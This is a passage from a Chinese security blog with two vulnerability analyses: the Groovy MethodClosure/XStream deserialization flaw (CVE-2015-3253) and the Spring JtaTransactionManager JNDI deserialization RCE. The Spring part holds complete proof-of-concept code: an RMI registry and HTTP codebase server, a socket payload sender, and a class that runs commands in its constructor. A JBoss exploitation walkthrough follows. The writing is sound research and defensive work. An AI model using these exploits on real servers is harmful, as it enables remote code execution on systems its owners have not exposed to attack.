<h2 id="Groovy-CVE-2015-3253漏洞-影响范围1-7-0-2-4-3"><a href="#Groovy-CVE-2015-3253漏洞-影响范围1-7-0-2-4-3" class="headerlink" title="Groovy-CVE-2015-3253漏洞(影响范围1.7.0-2.4.3)"></a>Groovy-CVE-2015-3253漏洞(影响范围1.7.0-2.4.3)</h2><p>网上貌似没有对该漏洞的分析，所以只能通过cve的连接去看看具体是什么问题，<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253" target="_blank" rel="noopener">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253</a>，官方的描述如下：</p>
<blockquote>
<p>The MethodClosure class in runtime/MethodClosure.java in Apache Groovy 1.7.0 through 2.4.3 allows remote attackers to execute arbitrary code or cause a denial of service via a crafted serialized object.</p>
</blockquote>
<p>通过上述漏洞描述信息，我们知道了问题大概出现在了<a href="http://grepcode.com/file/repo1.maven.org/maven2/org.codehaus.groovy/groovy-all/2.4.4/org/codehaus/groovy/runtime/MethodClosure.java" target="_blank" rel="noopener">MethodClosure</a>类上,该类定义以及方法如下图<br><img src="/attach/groovy_MethodClosure.png" width="820"></p>
<p>该类的描述为 <strong><strong>Represents a method on an object using a closure which can be invoked at any time</strong></strong>,大概意思就是通过构建一个指定对象以及调用方法的Closure的实例并且可以在任何时候进行调用。上图红色线标记的方法即为触发构建好的对象以及指定方法的函数，我们跟进看看该方法最终是怎么样执行的。<br><img src="/attach/invokeMethod.png" width="820"><br>通过该方法的注释可以知道该方法的作用为调用指定对象的指定方法，所以MethodClosure类中构造方法中的两个参数的意思为owner代表调用方法的对象，method为调用方法的名字，所以我们可以构造特定了对象从而实现执行特定函数，我们自己定义的对象以及方法最终会调用上图中红色框标记的函数进行执行。<br>举个例子，例如我们想通过MethodClosure实现执行命令的功能，那么代码如下</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">MethodClosure mc = <span class="keyword">new</span> MethodClosure(<span class="keyword">new</span> java.lang.ProcessBuilder(<span class="string">"open"</span>,<span class="string">"/Applications/Calculator.app"</span>), <span class="string">"start"</span>);</span><br><span class="line">mc.call();</span><br></pre></td></tr></table></figure>
<p><strong><strong>注:这里调用的call方法最终会调用doCall函数，有兴趣的可以自己去调试。</strong></strong></p>
<p>这样上述代码就可以实现代码执行，关于该函数的功能我们基本上搞明白了，那么我们回过头来想想，难道这个CVE就是说了下这个函数可以执行特定代码么？</p>
<p>既然我们知道了如何构建以及触发相关函数从而导致代码的执行，那么我们不妨去找找看看那些函数调用了存在缺陷的函数，通过eclipse我们可以很容易看出那些地方调用了MethodClosure#call()函数<br><img src="/attach/methodclosure-call.png" width="820"></p>
<p>如上图所示，我们可以看到groovy.util.Expando类的hashcode以及toString等方法调用了MethodClosure#call()函数，到这里从事java的小伙伴们应该比较激动，这里的hashCode()方法调用了存在缺陷的函数，hashCode函数才是这个CVE比较核心的地方，首先我们需要知道hashCode函数的作用，当两个对象比较是否相等的时候，会调用该对象的hashCode以及equals方法进行比较，如果这两个方法返回的结果一致，那么认为这两个对象是相等，如果被调用对象没有重写hashCode以及equals方法，那么会调用父类的默认实现。</p>
<p>这里明白hashCode的作用之后，再来说说HashMap的put方法,该方法的定义如下<br><img src="/attach/HashMap-put.png" width="820"><br>因为Map是一种key-value类型的数据结构，所以Map集合不允许有重复key，所以每次在往集合中添加键值对时会去判断key是否相等，那么在判断是否相等时会调用key的hashCode方法，如果我们精心构造一个groovy.util.Expando对象作为Map集合的key，那么在将对象添加进集合时就会触发groovy.util.Expando的hashCode方法，从而触发我们的恶意代码。</p>
<p>明白上面的知识后我们再来跟进groovy.util.Expando#hashCode方法，看看如何精心构造一个一刻执行恶意代码的对象,如下图<br><img src="/attach/expando-hashCode.png" width="820"><br>这里从上图中可以看出调用getProperties().get(“hashCode”)方法从而实现自定义的hashCode，我们只需要调用setProperties(“hashCode”,Expando实例)去绑定hashCode属性对于的实现就行了，这里hashCode必须是Closure或者其子类才能最终调用call函数，MethodClosure类恰好是Closure的子类，所以结合这两个地方，恶意代码就会成功触发。</p>
<p>上面说到过通过调用Map#put方法即可触发我们构造好的代码，那么有人可能会问了，那些场景下才会触发Map的put方法，在反序列化时这样的场景还是存在的，除了这次的Xstream反序列化之外java的其他反序列化类中很可能也是有这样的场景的。</p>
<p>下面给出利用代码<br><img src="/attach/GroovyCVE-code.png" width="820"></p>
<h2 id="XStream反序列化漏洞"><a href="#XStream反序列化漏洞" class="headerlink" title="XStream反序列化漏洞"></a>XStream反序列化漏洞</h2><p>Xstream的反序列化漏洞的根源就是上文所述的Groovy组件的问题，只不过在Xstream中进行反序列化时恰好有触发存在缺陷函数的点，也就是Xstream在反序列化时调用了Map#put函数将构造好的Expando实例作为key添加到集合中时触发了代码执行，如下图<br><img src="/attach/populateMap.png" width="820"><br>这里的key就是我们构造的Expando的实例对象。</p>
<p>在构造EXP时，首先我们要构造一个Expando的一个对象实例，同时设置hashCode的实现为MethodClosure的实例，然后实例化一个HashMap对象调用put方法将Expando的实例化对象作为key，value任意添加到map中，然后让Xstream对map进行序列化，这样我们的Payload就OK了，<br>估计有很多人不明白漏洞作者博客的POC是怎么来的，这里的序列化是基于xml的，所以得借助Xstream相关函数将构造好的对象进行序列化然后生成xml，反序列化时解析xml，转换成相关对象。</p>
<p>好人做到底，我就把POC的生成代码也发出来吧<br><img src="/attach/payload-1.png" width="820"><br>执行程序后，我们的POC就生成成功，如下图所示<br><img src="/attach/payload-2.png" width="820"></p>
<p>至于怎么执行其他的代码，这个还比较麻烦，除了执行命令之外，好像没有什么好的办法，因为MethodClosure的构造函数中指定了要执行方法的对象以及执行的方法名称，所以说只能调用一次构造函数，并且有一个无参数的方法可以执行，这样才能实现函数的正常运行。</p>
<h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><p>这个漏洞的成因应该是两方面的共同造成了，一方面等待Xstream官方的补丁，此外Groovy在2.4.3之后修复了代码执行的这个bug，禁用了MethodClosure的代码执行功能。<br><img src="/attach/patch-1.jpg" width="820"><br><img src="/attach/patch-2.jpg" width="600"></p>
<p>受影响的用户可以通过升级Groovy的版本来缓解该漏洞造成的影响。</p>
<h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p>[1] <a href="https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream?platform=hootsuite" target="_blank" rel="noopener">https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream?platform=hootsuite</a></p>
<p>[2] <a href="http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/" target="_blank" rel="noopener">http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;序列化的问题貌似在最近爆发的非常频繁，最近有小伙伴在问我关于这两天爆发的Xstream组建的反序列化的漏洞，最近公司非常忙，不过赶上周末刚好抽时间看了下，其实这次的漏洞和之前JRE的那个反序列化漏洞触发的条件基本上差不多，不过关于JRE的那个序列化
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="Deserialize" scheme="https://www.iswin.org/tags/Deserialize/"/>
    
  </entry>
  
  <entry>
    <title>Spring framework deserialization RCE漏洞分析以及利用</title>
    <link href="https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/"/>
    <id>https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-分析以及利用/</id>
    <published>2016-01-24T07:28:42.000Z</published>
    <updated>2017-01-23T17:20:23.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>11月初爆发的JAVA反序列漏洞已经过去几个月了，各大安全研究人员对该漏洞的利用技巧也是五花八门，JAVA反序列化漏洞的爆发引起了很多漏洞研究者的注意，国外安全研究人员（<strong><strong><a href="http://zerothoughts.tumblr.com/" target="_blank" rel="noopener">zerothoughts</a></strong></strong>）最近在Spring框架中同样也发现关于序列化的一些问题，本文主要是讨论在Spring框架中序列化漏洞成因以及一些利用方式。</p>
</blockquote>
<h2 id="漏洞原理分析"><a href="#漏洞原理分析" class="headerlink" title="漏洞原理分析"></a>漏洞原理分析</h2><p>上一次的漏洞成因是Apache CommonsCollection组建中对集合的操作存在可以进行反射调用的方法，但是这次Spring框架的RCE基本上和CommonsCollection组建没有什么关系，在分析漏洞之前我们先来回顾下序列化的相关知识，只有明白了序列化是怎么回事，在理解序列化漏洞时就非常简单了。</p>
<p>关于序列化其实我们只需要知道两点即可，如下</p>
<ul>
<li>在对对象进行序列化时会调用<strong><strong>Java.io.ObjectOutputStream</strong></strong>对象的<strong><strong>writeObject(Object obj)</strong></strong>方法。</li>
<li>在对象进行反序列化时会调用<strong><strong>Java.io.ObjectInputStream</strong></strong>对象的<strong><strong>readObject()</strong></strong>方法。</li>
</ul>
<p>明白上面两点之后，我们再来了解下JAVA体系中的RMI以及JNDI，具体如下</p>
<ul>
<li><p>RMI（Remote Method Invocation） 即Java远程方法调用，一种用于实现远程过程调用的应用程序编程接口，常见的两种接口实现为JRMP（Java Remote Message Protocol，Java远程消息交换协议）以及CORBA。</p>
</li>
<li><p>JNDI (Java Naming and Directory Interface)是一个应用程序设计的API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种：DNS、LDAP、 CORBA对象服务、RMI等。</p>
</li>
</ul>
<p>那么RMI和JNDI有什么关系呢？简单说就是RMI注册的服务可以让JNDI应用程序来访问，关于两者的具体关系以及在应用中的使用请参考<a href="http://docs.oracle.com/javase/7/docs/technotes/guides/jndi/jndi-rmi.html" target="_blank" rel="noopener">官方文档</a>这里不赘述。</p>
<p>在讨论Spring框架序列化漏洞之前，我们先来看看关于JNDI的RCE，如上文所述，JNDI支持很多服务类型，当服务类型为RMI协议时，如果从RMI注册服务中lookup的对象类型为<strong><strong>Reference</strong></strong>类型或者其子类时,会导致远程代码执行，Reference类提供了两个比较重要的属性，className以及codebase url，classname为远程调用引用的类名，那么codebase url决定了在进行rmi远程调用时对象的位置，此外codebase url支持http协议,当远程调用类(通过lookup来寻找)在RMI服务器中的CLASSPATH中不存在时，就会从指定的codebase url来进行类的加载，如果两者都没有，远程调用就会失败。</p>
<p>JNDI RCE漏洞产生的原因就在于当我们在注册RMI服务时，可以指定codebase url，也就是远程要加载类的位置，设置该属性可以让JDNI应用程序在加载时加载我们指定的类( 例如：<a href="http://www.iswin.org/xx.class">http://www.iswin.org/xx.class</a>) ，这里还有一个比较重要的点，也是触发恶意代码的点，当JNDI应用程序通过lookup(rmi服务的地址)调用指定codebase url上的类后，会调用被远程调用类的构造方法，所以如果我们将恶意代码放在被远程调用类的构造方法中时，漏洞就会触发。</p>
<p>JNDI的RCE可以用以下代码来解释</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Registry registry = LocateRegistry.createRegistry(<span class="number">1999</span>);</span><br><span class="line"><span class="comment">// 设置code url 这里即为http://http://127.0.0.1:8000/</span></span><br><span class="line"><span class="comment">// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class</span></span><br><span class="line">Reference reference = <span class="keyword">new</span> Reference(<span class="string">"ExportObject"</span>, <span class="string">"ExportObject"</span>, <span class="string">"http://127.0.0.1:8000/"</span>);</span><br><span class="line"><span class="comment">// Reference包装类</span></span><br><span class="line">ReferenceWrapper referenceWrapper = <span class="keyword">new</span> ReferenceWrapper(reference);</span><br><span class="line">registry.bind(<span class="string">"Object"</span>, referenceWrapper);</span><br></pre></td></tr></table></figure>
<p>上述代码使用了1999端口来注册了RMI服务和绑定相应的调用对象，同时指定了要远程调用类的名称 <strong><strong>ExportObject</strong></strong>，以及上文所述的codebase url 地址为<strong><strong><a href="http://127.0.0.1:8000/" target="_blank" rel="noopener">http://127.0.0.1:8000/</a></strong></strong>，也就是说当JNDI应用程序去调用RMI地址进行远程调用时，例如，调用的地址为rmi://127.0.0.1:1999/Object，当JNDI应用程序在远程调用时，会去查找Object名称绑定的类的位置，这里我们指定了类的加载位置<strong><strong><a href="http://127.0.0.1:8000/" target="_blank" rel="noopener">http://127.0.0.1:8000/</a></strong></strong>，所以最终实际加载类的地址就是<strong><strong><a href="http://127.0.0.1:8000/ExportObject.class" target="_blank" rel="noopener">http://127.0.0.1:8000/ExportObject.class</a></strong></strong>，成功加载后会进行实例化，从而调用ExportObject类的构造方法，如果我们将恶意代码放在要加载类的构造方法中，就会导致任意代码执行。</p>
<p>如果明白上面所述的一些问题，那么接下来理解Spring框架的RCE时就非常简单了，因为Spring框架的远程代码执行的根本就是JNDI的远程代码执行，只不过需要结合序列化来触发。</p>
<p>Spring 框架中的远程代码执行的缺陷在于spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager类，该类实现了Java Transaction API，主要功能是处理分布式的事务管理，我们先来看看该类的方法以及成员变量。<br><img src="/attach/jtamanager.png" width="820"><br><img src="/attach/jtamanager_B.png" width="820"></p>
<p>通过eclipse我们可以明显的看到该类实现了readObject(ObjectOutputStream)方法，为什么漏洞叫Spring框架的序列化漏洞，原因就在这里，关于反序列的只是上面已经介绍过了，我们都知道当一个类被反序列化时会调用该类的readObject方法，跟进readObject方法<br><img src="/attach/spring framework rce readObject.png" width="820"><br>方法<strong><strong>initUserTransactionAndTransactionManager();</strong></strong>是用来初始化UserTransaction以及TransactionManager，跟进该方法<br><img src="/attach/spring framework rce init.png" width="820"><br>这里我们可以看到该方法中调用了lookupUserTransaction方法，该方法的功能为</p>
<p><strong><em>Look up the JTA UserTransaction in JNDI via the configured name.</em></strong></p>
<p>通过配置好的transaction名称用JNDI的方式进行查找，到这里漏洞的成因就比较清晰了，这里的userTransactionName变量我们可以控制，通过setter方法可以初始化该变量，这里userTransactionName可以是rmi的调用地址(例如，userTransactionName=”rmi://127.0.0.1:1999/Object”)，只要控制userTransactionName变量，就可以触发JNDI的RCE，继续跟进lookupUserTransaction方法<br><img src="/attach/spring framework rce lookuptransaction.png" height="320" width="820"><br>最终会调用JndiTemplate的lookup方法，如下<br><img src="/attach/spring framework rce lookup.png" height="320" width="820"></p>
<p>从而触发JNDI的RCE导致Spring framework序列化的漏洞产生。</p>
<h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>漏洞作者<strong><strong><a href="http://zerothoughts.tumblr.com/" target="_blank" rel="noopener">zerothoughts</a></strong></strong>在github上面已经放出了漏洞利用的POC，详情见<a href="https://github.com/zerothoughts/spring-jndi" target="_blank" rel="noopener">https://github.com/zerothoughts/spring-jndi</a> </p>
<p>首先看看对于该漏洞，我们可以控制的地方，如下</p>
<ol>
<li>userTransactionName，可以指定为攻击者自己注册的RMI服务。</li>
<li>codebase url，远程调用类的路径（攻击者可控）</li>
<li>JtaTransactionManager类中的readObject方法在反序列化事触发了JNDI的RCE。</li>
</ol>
<p>结合上面3个条件，就可以成功触发Spring framework 序列化的漏洞。</p>
<p>我修改了下作者给出的POC，看起来更加清晰点，POC分为两部分，客户端和服务端，服务端只是模拟了反序列的功能。</p>
<p>客户端如下如下：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.net.InetSocketAddress;</span><br><span class="line"><span class="keyword">import</span> java.net.Socket;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> org.springframework.transaction.jta.JtaTransactionManager;</span><br><span class="line"><span class="keyword">import</span> com.sun.jndi.rmi.registry.ReferenceWrapper;</span><br><span class="line"><span class="keyword">import</span> com.sun.net.httpserver.HttpServer;</span><br><span class="line"><span class="comment">/***</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> admin@iswin.org</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@time</span> 2016.1.24</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@SuppressWarnings</span>(<span class="string">"restriction"</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">SpringPOC</span> </span>&#123;</span><br><span class="line">	<span class="comment">/***</span></span><br><span class="line"><span class="comment">	 * 启动http服务器，提供下载远程要调用的类</span></span><br><span class="line"><span class="comment">	 * </span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@throws</span> IOException</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">lanuchCodebaseURLServer</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">		System.out.println(<span class="string">"Starting HTTP server"</span>);</span><br><span class="line">		HttpServer httpServer = HttpServer.create(<span class="keyword">new</span> InetSocketAddress(<span class="number">8000</span>), <span class="number">0</span>);</span><br><span class="line">		httpServer.createContext(<span class="string">"/"</span>, <span class="keyword">new</span> HttpFileHandler());</span><br><span class="line">		httpServer.setExecutor(<span class="keyword">null</span>);</span><br><span class="line">		httpServer.start();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/***</span></span><br><span class="line"><span class="comment">	 * 启动RMI服务</span></span><br><span class="line"><span class="comment">	 * </span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@throws</span> Exception</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">lanuchRMIregister</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		System.out.println(<span class="string">"Creating RMI Registry"</span>);</span><br><span class="line">		Registry registry = LocateRegistry.createRegistry(<span class="number">1999</span>);</span><br><span class="line">		<span class="comment">// 设置code url 这里即为http://http://127.0.0.1:8000/</span></span><br><span class="line">		<span class="comment">// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class</span></span><br><span class="line">		Reference reference = <span class="keyword">new</span> Reference(<span class="string">"ExportObject"</span>, <span class="string">"ExportObject"</span>, <span class="string">"http://127.0.0.1:8000/"</span>);</span><br><span class="line">		<span class="comment">// Reference包装类</span></span><br><span class="line">		ReferenceWrapper referenceWrapper = <span class="keyword">new</span> ReferenceWrapper(reference);</span><br><span class="line">		registry.bind(<span class="string">"Object"</span>, referenceWrapper);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/***</span></span><br><span class="line"><span class="comment">	 * 发送payload</span></span><br><span class="line"><span class="comment">	 * </span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@throws</span> Exception</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">sendPayload</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		<span class="comment">// jndi的调用地址</span></span><br><span class="line">		String jndiAddress = <span class="string">"rmi://127.0.0.1:1999/Object"</span>;</span><br><span class="line">		<span class="comment">// 实例化JtaTransactionManager对象，并且初始化UserTransactionName成员变量</span></span><br><span class="line">		JtaTransactionManager object = <span class="keyword">new</span> JtaTransactionManager();</span><br><span class="line">		object.setUserTransactionName(jndiAddress);</span><br><span class="line">		<span class="comment">// 发送构造好的payload</span></span><br><span class="line">		Socket socket = <span class="keyword">new</span> Socket(<span class="string">"127.0.0.1"</span>, <span class="number">9999</span>);</span><br><span class="line">		System.out.println(<span class="string">"Sending object to server..."</span>);</span><br><span class="line">		ObjectOutputStream objectOutputStream = <span class="keyword">new</span> ObjectOutputStream(socket.getOutputStream());</span><br><span class="line">		objectOutputStream.writeObject(object);</span><br><span class="line">		objectOutputStream.flush();</span><br><span class="line">		socket.close();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		lanuchCodebaseURLServer();</span><br><span class="line">		lanuchRMIregister();</span><br><span class="line">		sendPayload();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>服务端如下</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.net.*;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ExploitableServer</span> </span>&#123;</span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line">		<span class="keyword">try</span> &#123;</span><br><span class="line">			ServerSocket serverSocket = <span class="keyword">new</span> ServerSocket(Integer.parseInt(args[<span class="number">0</span>]));</span><br><span class="line">			System.out.println(<span class="string">"Server started on port "</span>+serverSocket.getLocalPort());</span><br><span class="line">			<span class="keyword">while</span>(<span class="keyword">true</span>) &#123;</span><br><span class="line">				Socket socket=serverSocket.accept();</span><br><span class="line">				System.out.println(<span class="string">"Connection received from "</span>+socket.getInetAddress());				</span><br><span class="line">				ObjectInputStream objectInputStream = <span class="keyword">new</span> ObjectInputStream(socket.getInputStream());</span><br><span class="line">				<span class="keyword">try</span> &#123;</span><br><span class="line">					Object object = objectInputStream.readObject();</span><br><span class="line">					System.out.println(<span class="string">"Read object "</span>+object);									</span><br><span class="line">				&#125; <span class="keyword">catch</span>(Exception e) &#123;</span><br><span class="line">					System.out.println(<span class="string">"Exception caught while reading object"</span>);									</span><br><span class="line">					e.printStackTrace();</span><br><span class="line">				&#125;				</span><br><span class="line">			&#125;</span><br><span class="line">		&#125; <span class="keyword">catch</span>(Exception e) &#123;</span><br><span class="line">			e.printStackTrace();</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>发送的PayLoad为</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.BufferedInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ExportObject</span> </span>&#123;</span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">exec</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		String sb = <span class="string">""</span>;</span><br><span class="line">		BufferedInputStream in = <span class="keyword">new</span> BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());</span><br><span class="line">		BufferedReader inBr = <span class="keyword">new</span> BufferedReader(<span class="keyword">new</span> InputStreamReader(in));</span><br><span class="line">		String lineStr;</span><br><span class="line">		<span class="keyword">while</span> ((lineStr = inBr.readLine()) != <span class="keyword">null</span>)</span><br><span class="line">			sb += lineStr + <span class="string">"\n"</span>;</span><br><span class="line">		inBr.close();</span><br><span class="line">		in.close();</span><br><span class="line">		<span class="keyword">return</span> sb;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="function"><span class="keyword">public</span> <span class="title">ExportObject</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">		String cmd=<span class="string">"/sbin/ifconfig"</span>;</span><br><span class="line">		<span class="keyword">throw</span> <span class="keyword">new</span> Exception(exec(cmd));</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>执行成功后的效果为<br><img src="/attach/poc_success.png" width="820"></p>
<p>上面是作者给出的POC，已经能证明在Spring框架中的确存在缺陷的类。不过这只是模拟了漏洞的触发过程，那么在实际利用过程中又会是怎么样的，下面将具体进行分析。</p>
<p>这里重点还是说下该漏洞在中间件中的利用，依然以JBOSS为例子(电脑上只有它)，其它中间件类比下就知道了。上面对漏洞的产生的原因以及触发条件作了详细的说明，很多人问，这个不是Spring framework的漏洞么，是不是只要使用了Spring框架进行开发就可能会受影响，非常遗憾的告诉大家那是不可以的。</p>
<p>要想成功利用该漏洞，必须满足下列条件</p>
<ol>
<li>存在接口可以进行对象反序列化</li>
<li>访问对象可以出网，因为要进行远程类下载(内网中另作讨论)</li>
<li>目标对象中的CLASSPATH中存在Spring-tx-xx.jar有缺陷类的jar包</li>
</ol>
<p>当上述3个条件同时满足时，才能触发该漏洞，这里主要讨论在中间件中的利用，所以条件1很好满足(例如JBOSS、Weblogic、Jenkins、Websphere等)，条件2也可以满足，但是条件3却比较苛刻，由于Spring-tx-xx.jar文件不是中间件的默认组件，所以，该漏洞就比较鸡肋，对于中间件来说，每个应用的lib库文件的类加载器是不一样的，换句话说，就是在同一中间件中，A应用的lib库文件B应用是无法使用的，所以即使目标应用存在该缺陷，那么中间件的漏洞触发点是无法找到缺陷应用lib文件中的class文件的，所以无法做到通用的利用，说白了就是lib库共享的问题，那么在实际工程中可能会存在将缺陷jar文件放在中间件的类加载器中的情况，比如说所有的项目都会用到spring的jar，开发人员索性就把jar文件给共享了，这样所有的应用都可以访问到该jar文件，这种情况下漏洞是可以完全触发的。</p>
<p>这里我以JBOSS中间件为例子，进行说明，在jboss中jboss-5.0.1.GA\lib*.jar 所有的jar，所有的应用都是可以访问的，将有缺陷的类放在这个目录下就会触发漏洞，因为Jboss序列化触发的点在<strong><em>/invoker/JMXInvokerServlet</em></strong>上，所以我将受缺陷的文件放在了该应用的lib目录下，如下图所示<br><img src="/attach/spring-jboss.png" width="820"></p>
<p>修改POC后，成功利用该漏洞<br><img src="/attach/Spring-jboss-success.png" width="820"></p>
<p>总之，如果要成功利用，得看人品。其它中间我想应该也是一样的，如果有什么问题，欢迎指正。</p>
